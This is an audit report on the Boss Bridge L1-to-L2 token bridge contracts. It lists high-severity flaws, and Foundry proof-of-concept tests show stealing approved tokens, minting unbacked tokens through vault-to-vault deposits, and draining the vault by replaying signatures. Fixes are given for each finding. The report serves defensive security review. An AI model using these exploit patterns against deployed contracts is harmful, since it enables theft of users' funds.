
# Boss Bridge Protocol Audit

Version 1.0

*Cyfrin.io*

August 14, 2025

# Boss Bridge Protocol Audit

Mudassir (SycoWeb3)

August 14, 2025

Prepared by: Mudassir Lead Auditors: - Mudassir

## Table of Contents



## Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

## Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| Likelihood | High | H | H/M | M |
| | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

### Scope

```
- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
```

In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

### Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 4 |
| Medium | 1 |
| Low | 2 |
| Info | 1 |
| Gas | 1 |
| Total | 9 |

## Findings

## High

#### [H-1] Users who give tokens approval to L1BossBridge can have those assets stolen!

**Description:** The depositTokensToL2 function in L1BossBridge is responsible for Depositing Tokens to the Vault so that the off-chain event can listen and Mint the Corresponding Tokens on L2 however, the the Function uses 'from' instead of 'msg.sender' , As a consequence the attacker can move tokens out of any victims account whose allowance is greater then 0 . This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the l2Recipient parameter).

**Impact:** High

**Proof of Concept:** Paste this in your Test File

```
function testCanMoveApprovedTokensOfOtherUsers() public {
        vm.prank(user); // alice approves
        token.approve(address(tokenBridge), type(uint256).max);

        // Bob sweeps the assets
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0); //alice
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

**Recommended Mitigation:**

```
-   function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+   function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

### [H-2] Calling DepositTokensToL2 from vault contract to vault contract can result in minting infinite amount of Tokens

**Description:** 'DepositTokensToL2' is responsible for sending tokens to L2 well more precisely Minting in L2 however, the Function can be called to send the tokens from vault contract to vault contract infinite times thus resulting in infinite amount of unbacked Tokens to be Minted!, Additionally the attacker can steal it all if he wants to.

**Impact:** High

**Proof of Concept:** Add this test to your test file

```
function testcantransferfromvaulttovault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultBalance = 1000 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance); // 1

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance); //2
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance); //3
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance); //4
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance); //5
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance); //6 , and so on...
    }
```

**Recommended Mitigation:** As suggested in H-1, consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

### [H-3] Lack of replay protection in 'withdrawTokensToL1' allows withdrawals by signature to be Replayed!!!

**Description:** Lack of replay protection in 'withdrawTokensToL1' allows withdrawals by signature to be Replayed!!!, Users who want to withdraw tokens from the bridge can call the sendToL1 function, or the wrapper withdrawTokensToL1 function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators. However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

**Impact:** High

**Proof of Concept:**add this test to your test file

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    address attackerInL2 = makeAddr("attackerInL2");
    uint256 vaultInitialBalance = 1000e18;
```

```
5       uint256 attackerInitialBalance = 100e18;
6       deal(address(token), address(vault), vaultInitialBalance);
7       deal(address(token), address(attacker), attackerInitialBalance);
8
9       // An attacker deposits tokens to L2
10      vm.startPrank(attacker);
11      token.approve(address(tokenBridge), type(uint256).max);
12      tokenBridge.depositTokensToL2(attacker, attackerInL2,
            attackerInitialBalance);
13
14      // Operator signs withdrawal.
15      (uint8 v, bytes32 r, bytes32 s) =
16          _signMessage(_getTokenWithdrawalMessage(attacker,
                attackerInitialBalance), operator.key);
17
18      // The attacker can reuse the signature and drain the vault.
19      while (token.balanceOf(address(vault)) > 0) {
20          tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
                , v, r, s);
21      }
22      assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
            + vaultInitialBalance);
23      assertEq(token.balanceOf(address(vault)), 0);
24  }
```

**Recommended Mitigation:** Include a unique nonce or withdrawal ID in the signed message and store it on-chain once used. Reject any withdrawal with a previously used nonce to prevent signature replay.

### [H-4] Attacker can withdraw as much tokens he wants to even if his deposited tokens are less!

**Description:** Attacker can withdraw as much tokens, there's no extra validation elsewhere, attacker could just call withdrawTokensToL1 with any amount they want, and the vault would transfer that many tokens. If combined with a replayable signature or a weak signing process, that's basically unlimited vault drain.

```
1  function withdrawTokensToL1(address to, uint256 amount, uint8 v,
       bytes32 r, bytes32 s) external {
2          sendToL1(
3              v,
4              r,
5              s,
6              abi.encode(
7                  address(token),
8                  0, // value
9                  abi.encodeCall(IERC20.transferFrom, (address(vault), to
                       , amount))
10             )
11         );
```

```
12         }
```

**Impact:** High

**Recommended Mitigation:** Add checks to insure that only the deposited amount can be withdrawn

## Medium

### [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

**Description:** During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

**Impact:** High/Medium

**Recommended Mitigation:** check out this for better view Clickhere

## Low

### [L-1] 'TokenFactory::deployToken' can create multiple tokens with same symbol

**Description:** TokenFactory::deployToken' can create multiple tokens with same symbol

**Impact:** Low

**Recommended Mitigation:** Consider adding checks to ensure that this cannot Happens

### [L-2] Lack of event emission during withdrawals and sending tokens to L1

**Description:** Lack of event emission during withdrawals and sending tokesn to L1, Neither the sendToL1 and withdrawTokensToL1 emit an Event.

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v,
    bytes32 r, bytes32 s) external {
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(IERC20.transferFrom, (address(vault), to
                    , amount))
            )
        );
    }
```

**Impact:** Low

**Recommended Mitigation:** Emit an event for off-chain validation.

## Gas

#### [G-1] State Variable Could Be Immutable

**Description:** State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

**Recommended:**

```
- IERC20 public token;
+ IERC20 public immutable token;
```